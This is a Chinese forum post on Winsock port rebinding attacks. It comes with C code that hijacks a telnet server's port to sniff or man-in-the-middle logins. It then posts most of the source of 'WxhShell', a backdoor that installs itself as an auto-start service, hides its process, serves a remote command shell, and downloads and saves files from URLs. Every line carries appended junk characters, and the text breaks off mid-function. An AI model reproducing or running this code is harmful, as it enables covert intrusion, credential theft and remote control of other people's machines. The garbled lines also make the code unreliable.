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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: VwXR,(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); l9H-N*Wx  
X6?Gxf,  
  saddr.sin_family = AF_INET; yDpv+6(a  
t6)R 37  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |;U3pq)  
eV0eMDY5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); *;lb<uLv  
xz7CnW1  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 F^=y+}]=  
jo0XOs  
  这意味着什么?意味着可以进行如下的攻击: /u"Iq8QA  
Ie8K [ >  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 E!,jTaZz  
NG4@L1f%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) SF[Z]|0gs  
x3jjtjf  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Dd$8{~h"G  
azTiY@/  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ZMK1V)ohn  
.wtYost v  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 zT hut!O  
e)F_zX  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;b_<5S  
vgr 5j  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ZalL}?E ?  
J%E0Wd  
  #include +bWo{   
  #include b}hQU~,E  
  #include S7R*R}  
  #include    UK[+I]I p  
  DWORD WINAPI ClientThread(LPVOID lpParam);   iciRlx.$c  
  int main() t*c_70|@k  
  { HLE%f;  
  WORD wVersionRequested; MA7&fNjB  
  DWORD ret; #vPk XcP  
  WSADATA wsaData; T 7M];@q  
  BOOL val; obgO-d9l  
  SOCKADDR_IN saddr; x\G<R; Q  
  SOCKADDR_IN scaddr; X: Be'  
  int err; Maiyd  
  SOCKET s; RF\h69]:I  
  SOCKET sc; s-l3_210  
  int caddsize; SMQC/t]HT  
  HANDLE mt; $@WA}\D  
  DWORD tid;   n+Ng7  
  wVersionRequested = MAKEWORD( 2, 2 ); >vuR:4B  
  err = WSAStartup( wVersionRequested, &wsaData ); g_"B:DR  
  if ( err != 0 ) { UXHtmi|_:  
  printf("error!WSAStartup failed!\n"); P;ZVv{mT  
  return -1; Hqu?="f=  
  } 7TZ,bD_  
  saddr.sin_family = AF_INET; xQqZi b5I  
   G4uOY?0N  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 48 mTL+*  
rFto1m  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); miY=xwK&  
  saddr.sin_port = htons(23); !Jaj2mS.N  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (~:ip)v  
  { .5#+)] l  
  printf("error!socket failed!\n"); tYUo;V  
  return -1; . B6mvb\  
  } !1bATO:x  
  val = TRUE; +1Rz+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 lhF)$M  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !@ )JqF.  
  { 2W)KfS  
  printf("error!setsockopt failed!\n"); 3 gW+|3E  
  return -1; )fc+B_  
  } hWr}Uui  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,B,0o*qc{K  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 BR~+CBH  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击  t&G #%  
1kh()IrA  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^ pocbmg  
  { OX.g~M ig|  
  ret=GetLastError(); ?"p.Gy)  
  printf("error!bind failed!\n"); 74KR.ABd  
  return -1; Z%VgAV>>  
  } s>ZlW:jY  
  listen(s,2); XeAH.i<  
  while(1) KhyGz"I!@$  
  { W!a'KI'  
  caddsize = sizeof(scaddr); FOuPj+}F  
  //接受连接请求 1_)Y{3L  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |eej}G(,m}  
  if(sc!=INVALID_SOCKET) sTi3x)#xB  
  { 0}$R4<"{Y>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +Ui%}^ZZ  
  if(mt==NULL) Kr%O}<"  
  { m =MM  
  printf("Thread Creat Failed!\n"); -QQU>_  
  break; }\EHZ  
  } %){)/~e&  
  } Gg5>~"pb  
  CloseHandle(mt); sTECNY=l  
  } EB5 ^eNdL  
  closesocket(s); (gUxS.zU  
  WSACleanup(); oX6()FR  
  return 0; <A] Kg  
  }   L^jhr>-";  
  DWORD WINAPI ClientThread(LPVOID lpParam) (w/lZt  
  { XC[bEp$  
  SOCKET ss = (SOCKET)lpParam; F2$?[1^f  
  SOCKET sc; 5Ja[p~^L  
  unsigned char buf[4096]; G2FD'Sf  
  SOCKADDR_IN saddr; WL<f!   
  long num; PE2O$:b\  
  DWORD val; U~<~>^[  
  DWORD ret; HhB' ^)  
  //如果是隐藏端口应用的话,可以在此处加一些判断 w?M` gl8r  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _RG2I)P  
  saddr.sin_family = AF_INET; !JPZ7_nn  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); qD5)AdCGO  
  saddr.sin_port = htons(23); F6 f  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #!]~E@;E  
  { OH vV_  
  printf("error!socket failed!\n"); ;VPYWss  
  return -1; ljk,R G  
  } >F;yfv;  
  val = 100; zR }vw{  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @}A3ie'w  
  { uSNlI78D  
  ret = GetLastError(); 8Y~\:3&1<  
  return -1; ~G8haN4  
  } <f@ A\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -K iI&Q  
  { O[HBw~  
  ret = GetLastError(); F3<Ip~K  
  return -1; lBO x B/`  
  } e u?DSad  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) s"0Hz"[^=  
  { Zex`n:Wl?j  
  printf("error!socket connect failed!\n"); Uy{ZK*c8i  
  closesocket(sc); >W=^>8u  
  closesocket(ss); 0|`iop%(n  
  return -1; Ly`FU)  
  } qUG)+~g`  
  while(1) QQX7p!~E  
  { {3\{aZ8)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 a O(&<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 3qrjb]E%}  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 a*Ng+~5)6  
  num = recv(ss,buf,4096,0); p/Lk'h~  
  if(num>0) *!yY7 ~#  
  send(sc,buf,num,0); ^a;412  
  else if(num==0) C )+%9Edg  
  break; !R1OSVFp  
  num = recv(sc,buf,4096,0); w:@W/e*9N  
  if(num>0) 9lSs;zm{Q  
  send(ss,buf,num,0); Yj>ezFo  
  else if(num==0) `:EU~4s\  
  break; IFF3gh42.  
  } RJA#cv~f  
  closesocket(ss); ;%$wA5"2M  
  closesocket(sc); G'6f6i|<I@  
  return 0 ; `'/1Ij+  
  } >twog}%  
5t[7taLX\  
^ &VN=Y6z  
========================================================== 0tP{K  
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下边附上一个代码,,WXhSHELL <|4L+?_(&  
qJ<Ghd`8v  
========================================================== ZTK)N  
^h"F\vIpV  
#include "stdafx.h" ]Kp -2KW  
8jfEvwY  
#include <stdio.h> #i[V {J8.p  
#include <string.h> 7>yb8/J  
#include <windows.h> cW\Y1=Gv|  
#include <winsock2.h> &%`0&y  
#include <winsvc.h> m7m)BX%O  
#include <urlmon.h> SI/p8 ^  
T+)#Du  
#pragma comment (lib, "Ws2_32.lib") 9l:vVp7Uk  
#pragma comment (lib, "urlmon.lib") NC{8[*Kx5  
hZeF? G)L'  
#define MAX_USER   100 // 最大客户端连接数 (/3E,6gMk^  
#define BUF_SOCK   200 // sock buffer 6yXMre)YV  
#define KEY_BUFF   255 // 输入 buffer >Mk#19j[/  
??=su.b  
#define REBOOT     0   // 重启 wlfq$h p  
#define SHUTDOWN   1   // 关机 5:X^Q.f;  
vU,;asgy  
#define DEF_PORT   5000 // 监听端口 1F94e)M)"  
}n$I #G}\/  
#define REG_LEN     16   // 注册表键长度 84M*)cKR~  
#define SVC_LEN     80   // NT服务名长度 oD~q/04!  
$1;@@LSw  
// 从dll定义API 9Gk#2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \xexl1_;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _f<#+*y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 55vI^SSA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hC...tk  
,(&5y:o  
// wxhshell配置信息 ]`_eaW?Ua  
struct WSCFG { RWINdJZ  
  int ws_port;         // 监听端口 0;x<0P  
  char ws_passstr[REG_LEN]; // 口令 :N ]H"u9X  
  int ws_autoins;       // 安装标记, 1=yes 0=no E sx`UG|  
  char ws_regname[REG_LEN]; // 注册表键名 $5Tjo T  
  char ws_svcname[REG_LEN]; // 服务名 #]FJx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 OK=ANQjs(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1c}LX.9K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =1Tn~)^O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;>h:VnV(>(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J2Z? }5>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }tUr V   
wGAeOD  
}; m$bDWxm#e  
q OX=M  
// default Wxhshell configuration s. jcD  
struct WSCFG wscfg={DEF_PORT, Ai.^~#%X  
    "xuhuanlingzhe", Bz*6M  
    1, TWT h!  
    "Wxhshell", P_%kYcX'  
    "Wxhshell", rZ^VKO`~I1  
            "WxhShell Service", 5{O9<~,  
    "Wrsky Windows CmdShell Service", %Y<3v \`_  
    "Please Input Your Password: ", "BD$-]  
  1, f&L8<AS Fo  
  "http://www.wrsky.com/wxhshell.exe", ^?o>(K  
  "Wxhshell.exe" 5!}fd/}Uk  
    }; ,S\AUUt%  
PBp+(o-  
// 消息定义模块 _cD-E.E%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #i}:CI>2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :ej`]yK |  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e[*%tx H  
char *msg_ws_ext="\n\rExit."; p )w{}@%r  
char *msg_ws_end="\n\rQuit."; /faP@Q3kR  
char *msg_ws_boot="\n\rReboot..."; y`p(}X`>  
char *msg_ws_poff="\n\rShutdown..."; J#*R]LU|  
char *msg_ws_down="\n\rSave to "; >J_%'%%f  
~ U`|+ 5  
char *msg_ws_err="\n\rErr!"; 'v'=t<wgl  
char *msg_ws_ok="\n\rOK!"; @c^g<  
<;':'sW  
char ExeFile[MAX_PATH]; NM&R\GI  
int nUser = 0; LCkaSv/[RB  
HANDLE handles[MAX_USER]; \s">trXwX  
int OsIsNt; sD ,FJ:dy  
Wc!.{2  
SERVICE_STATUS       serviceStatus; QsH?qI&2jp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; eCXw8  
2RC@Fu~zaU  
// 函数声明 dn|OY. `|  
int Install(void); NGOyd1$7N  
int Uninstall(void); ?D S|vCae  
int DownloadFile(char *sURL, SOCKET wsh); 2kVQ#JyuRI  
int Boot(int flag); hxx`f-#=  
void HideProc(void); oiNt'HQ2/  
int GetOsVer(void); V}+Ui]ie|I  
int Wxhshell(SOCKET wsl); #JW~&;  
void TalkWithClient(void *cs); %8~g#Z  
int CmdShell(SOCKET sock); T$Rj/u t1  
int StartFromService(void);  H= (Zx  
int StartWxhshell(LPSTR lpCmdLine); |FH|l#bu>  
2;&!]2vo$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FG6mh,C!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ipn 0WQG  
`} :~,E  
// 数据结构和表定义 ,G!mO,DX  
SERVICE_TABLE_ENTRY DispatchTable[] = u<K{=94!e  
{ h\PybSW4s  
{wscfg.ws_svcname, NTServiceMain}, Xhm)K3RA*T  
{NULL, NULL} RoeLf Ow  
}; /eNDv(g)M  
qASV\ <n  
// 自我安装  njg\y  
int Install(void) M"|({+9eG  
{ UZb!tO2  
  char svExeFile[MAX_PATH]; TxXX}6  
  HKEY key; m. "T3K  
  strcpy(svExeFile,ExeFile); hT?|:!ED.F  
i.G"21M  
// 如果是win9x系统,修改注册表设为自启动  a5@XD_b  
if(!OsIsNt) { U((mOm6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I2^ Eo5'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *ci%c^}V  
  RegCloseKey(key); dtd}P~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fi;00>y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Tg\wBhJr|  
  RegCloseKey(key); dId&tTMmC  
  return 0; `sPH7^R  
    } Rg6/6/ IN  
  } _1kcz]]F  
} jRYW3a_7  
else { Lm"zW>v  
(YKkJ  
// 如果是NT以上系统,安装为系统服务 Xgyi}~AoaU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z]bcg$m  
if (schSCManager!=0) Gf y9?sa  
{ c},wW@SF2W  
  SC_HANDLE schService = CreateService ]q CCCI`  
  ( ^F4h:  
  schSCManager, bA8RoC  
  wscfg.ws_svcname, RI#o9d"x}  
  wscfg.ws_svcdisp, t 'im\_$F  
  SERVICE_ALL_ACCESS, d+Au`'{>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c&;Xjy  
  SERVICE_AUTO_START, BNpc-O~  
  SERVICE_ERROR_NORMAL, :Wl`8p4]  
  svExeFile, rw]7Lr_>  
  NULL, ;/=6~%  
  NULL, `=JGlN7  
  NULL, 6UnWtLE  
  NULL, m(eR Wx&pZ  
  NULL Bl!R bh\  
  ); j=5hW.fI  
  if (schService!=0) >{@:p`*  
  { {u{8QKeC  
  CloseServiceHandle(schService); Zt H{2j0  
  CloseServiceHandle(schSCManager); `d6,]'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )9'Zb`n  
  strcat(svExeFile,wscfg.ws_svcname); PWbi`qF)r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N,~"8YSo  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %"g; K  
  RegCloseKey(key); 3?:?dy(3z  
  return 0; z((9vi W  
    } )h,-zAnZ  
  } T f;:C]  
  CloseServiceHandle(schSCManager); 3}25=%;[  
} n+%tu"e  
} +#MQ8d  
fZF.eRP '  
return 1; Kb,#Ot  
} G0&'B6I>  
6*tbil_G+  
// 自我卸载 &=`6- J  
int Uninstall(void) ,J ZM%f  
{ 2X!!RS>qg  
  HKEY key; I^itlQ  
<9yB& ^  
if(!OsIsNt) { #) bqn|0l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fOkB|E]  
  RegDeleteValue(key,wscfg.ws_regname); j O6yZt  
  RegCloseKey(key); \\i$zRi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /o]j  
  RegDeleteValue(key,wscfg.ws_regname); vQhi2J'  
  RegCloseKey(key); ruK, Z,3Q  
  return 0; T$r?LIa ,Q  
  } qbu5aK}+  
} &p6^    
} +U= !svE  
else { ~zD*=h2C  
7R5!(g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); EGIwqci:  
if (schSCManager!=0) F,>-+~L=  
{ tDwj~{a~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tj;<EaM  
  if (schService!=0) ' &j]~m  
  { >S=,ype~G  
  if(DeleteService(schService)!=0) { 9d1 G u"  
  CloseServiceHandle(schService); ]/y69ou  
  CloseServiceHandle(schSCManager); :MbD=sX  
  return 0; QB|D_?]  
  } |cd=7[B  
  CloseServiceHandle(schService); hD! 9[Gb  
  } >$dkA\&p  
  CloseServiceHandle(schSCManager); KM jnY2  
} 7<p? E7  
} Fl;!'1  
K}1eQS&$a  
return 1; 9 &p;2/H  
} *&sXC@^@^  
Oxq} dX7S  
// 从指定url下载文件 *Qe{CE  
int DownloadFile(char *sURL, SOCKET wsh) [[8.Xb  
{ r(uf yC&  
  HRESULT hr; e lzKtVw  
char seps[]= "/"; 2-!n+#Cdf  
char *token; 2B=''W  
char *file; <rAk"R^  
char myURL[MAX_PATH]; jFThW N  
char myFILE[MAX_PATH]; b"QeCw#v`>  
]53'\TH  
strcpy(myURL,sURL); ajMI7j^G  
  token=strtok(myURL,seps); g7),si*  
  while(token!=NULL) 6K 6uB ~  
  { KXTx{R  
    file=token; h<ULp &g  
  token=strtok(NULL,seps); WA&&*ae5`  
  } \NI0rL  
8`S6BkfC|  
GetCurrentDirectory(MAX_PATH,myFILE); 'I *&P5|  
strcat(myFILE, "\\"); p&4#9I5  
strcat(myFILE, file); @mu2,%  
  send(wsh,myFILE,strlen(myFILE),0); 1[Ffl^\ARp  
send(wsh,"...",3,0); JD1D(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $bi@,&t;  
  if(hr==S_OK) I}{Xv#@o  
return 0; >i IUS  
else ":upo/xN  
return 1; Wy.Xx-3W  
 T24?1  
} ZRr S""V  
?=X_a{}/  
// 系统电源模块 maopr$r  
int Boot(int flag) &$ /}HND  
{ NDaM;`  
  HANDLE hToken; 1=X"|`<!  
  TOKEN_PRIVILEGES tkp; B{+ Ra  
70&]nb6f  
  if(OsIsNt) { ]\_T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K9+C3"*I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  L4,Ke  
    tkp.PrivilegeCount = 1; /n|`a1!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F9&ae*>,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ={a_?l%  
if(flag==REBOOT) { m;]glAtt  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,J0BG0jB^u  
  return 0; :5M7*s)e16  
} xHMbtY  
else { K@PQLL#yJp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :x<'>)6  
  return 0; xjDV1Xf*  
} x3>PM]r(V  
  } 1~# 2AdG  
  else { o>'1ct  
if(flag==REBOOT) { 8x J]K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +5BhC9=b  
  return 0; 0{GpO6!  
} C*I~14  
else { 3h|:ew[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bkgJz+u  
  return 0; L--(Y+vmf  
} \%!~pfM I  
} \dz@hJl:  
eHjn<@  
return 1; ~yvOR`2Gg  
} pwvcH3l/r  
'~ {xn  
// win9x进程隐藏模块 < <vE.  
void HideProc(void) lV0\UySH  
{ NHCdf*  
-OS&(7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k'K&GF1B  
  if ( hKernel != NULL ) '`*{ig  
  { Pkbx /\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oe:@7stG  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @ !:~gQ  
    FreeLibrary(hKernel); l`vb  
  } ByK!r~>Z1Q  
Hi 1@  
return; E\(dyq/  
} _IOt(Zb(  
<6s?M1J  
// 获取操作系统版本 BWct0=  
int GetOsVer(void) E.kjYIH8  
{ uWYI p\NN  
  OSVERSIONINFO winfo; s2{d<0x?v  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?1?zma S  
  GetVersionEx(&winfo); 9N[PZD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HCI|6{k  
  return 1; ORV~F0d<  
  else \p-3P)U  
  return 0; |@x^5Ab$T  
} 0 7CufoI  
|-HV@c]  
// 客户端句柄模块 {1Z`'.FU  
int Wxhshell(SOCKET wsl) YFVNkB O%  
{ ^0/FZ)V8  
  SOCKET wsh; +%'S>g0W=  
  struct sockaddr_in client; Z. ))=w6G  
  DWORD myID; VV*Z5U@b  
}jQxwi)  
  while(nUser<MAX_USER) "i\rhX  
{ 93-UA.+g  
  int nSize=sizeof(client); ) /kf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ' {L5 3cH=  
  if(wsh==INVALID_SOCKET) return 1; S`Jo^!VJ4  
:)UF#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8X@p?43  
if(handles[nUser]==0) S0\;FmLIc  
  closesocket(wsh); bm>,$GW(  
else QQso<.d&  
  nUser++; v>FsP$p4yE  
  } "eq{_4dL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @?$x  
<6]TazW?S  
  return 0; ^T[8j/9o^  
} eC^UL5>%  
R&cOhUj22J  
// 关闭 socket 37hs/=x  
void CloseIt(SOCKET wsh) R#ABda9  
{ GHaOFLY  
closesocket(wsh); j9@7\N<  
nUser--; 0,a;N%K-  
ExitThread(0); 0^41dfdE  
} G[}$s7@k  
+rw?k/  
// 客户端请求句柄 HJVi:;o  
void TalkWithClient(void *cs) gBzg'Z  
{ o~#cpU4{o  
sw.cw}1  
  SOCKET wsh=(SOCKET)cs; |F }y6 gH  
  char pwd[SVC_LEN]; P8N`t&r"7  
  char cmd[KEY_BUFF]; Q= DP# 9&  
char chr[1]; e6C;A]T2E  
int i,j; ,GB~Cmc1<Q  
8E:8iNbF  
  while (nUser < MAX_USER) { wN"j:G(  
G x;U 3iV  
if(wscfg.ws_passstr) { !o+Y" * /  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g\CRx^s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lWr{v\L'  
  //ZeroMemory(pwd,KEY_BUFF); $TON`+lB  
      i=0; [Bn C_^[W  
  while(i<SVC_LEN) { UQ;ymTqdc  
,m| :U  
  // 设置超时 V _(L/6  
  fd_set FdRead; 9qUc{ydt  
  struct timeval TimeOut; ,f@$a3}'Lx  
  FD_ZERO(&FdRead); "HCJ!  
  FD_SET(wsh,&FdRead); cFcn61x-  
  TimeOut.tv_sec=8; nRYHp7`  
  TimeOut.tv_usec=0; v71j1Q}6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "P) f,n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &vf9Gp+MK  
{9kH<,PJ;!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S]E1+,-*  
  pwd=chr[0]; A>@ i TI  
  if(chr[0]==0xd || chr[0]==0xa) { -nVQB146^  
  pwd=0; 6w3z&5DY|  
  break; k8 !|WqfP  
  } P.L$qe>O  
  i++; qPEtMvL #  
    } E+LAE/v@  
\qx$h!<  
  // 如果是非法用户,关闭 socket kvWP[! j?)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k3F* D  
} ~*OQRl6F  
r5U[jwP  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L*a:j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [{]/9E /&  
5K_KZL-  
while(1) { N/wUP  
X$aN:!1  
  ZeroMemory(cmd,KEY_BUFF); S$ u`)BG):  
Wpgp YcPS  
      // 自动支持客户端 telnet标准   HeV6=&#  
  j=0; @>>8CU^~  
  while(j<KEY_BUFF) { :@BAiKa[wa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /.54r/FN')  
  cmd[j]=chr[0]; LA!2!60R  
  if(chr[0]==0xa || chr[0]==0xd) { !i >&z?  
  cmd[j]=0; (x;Uy  
  break; :@mBSE/  
  } -~ w5 yd  
  j++; 8+HXGqcv  
    } HPz9Er  
Z>0a?=1[  
  // 下载文件 &J>XKO nl  
  if(strstr(cmd,"http://")) { lD`@{A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O*;$))<wX  
  if(DownloadFile(cmd,wsh)) ZDMv8BP7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q1rBSlzN  
  else DRp h?V\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mnj\t3:  
  } 9|kc$+(+6  
  else { L#t^:%   
0:NCIsIm<  
    switch(cmd[0]) { RKIBFP8.  
  &hTe-Es  
  // 帮助 ~.FeLWP  
  case '?': { "H{Et b/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y[_{tS#u  
    break; pD^7ZE6  
  } WJ%4IaT  
  // 安装 ,]A|z ~q  
  case 'i': { DC9\Sp?  
    if(Install()) <1t.f}}uX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T0:%,o  
    else I&2)@Zw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }XOTK^YA  
    break; C)x>/Qr~  
    } 4Ss4jUj  
  // 卸载 ^("23mhfJ  
  case 'r': { 7T\LYDT  
    if(Uninstall()) NOC8h\s}(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {RG4m{#9  
    else v'0WE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9'$\GN{0  
    break; 0m3:!#\  
    } , %8keGhl  
  // 显示 wxhshell 所在路径 LS"_-4I}  
  case 'p': { s5`CV$bz  
    char svExeFile[MAX_PATH]; !hMD>B2Z  
    strcpy(svExeFile,"\n\r"); eo#2n8I>=1  
      strcat(svExeFile,ExeFile); j{8;5 ?x  
        send(wsh,svExeFile,strlen(svExeFile),0); Th\w#%'N  
    break; U?@ s`.  
    } Ff eX;pi  
  // 重启 D8OW|wVE  
  case 'b': { 71S~*"O0f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <0EVq8h  
    if(Boot(REBOOT)) *5e"suS2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~__r- z  
    else { g2Hz[C(  
    closesocket(wsh); A7`+XqG  
    ExitThread(0); 2F}D?] A  
    } vkR,Sn  
    break; M%yeI{m  
    } =d+~l  
  // 关机 )9pRT dT  
  case 'd': { oouhP1py,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +69[06F  
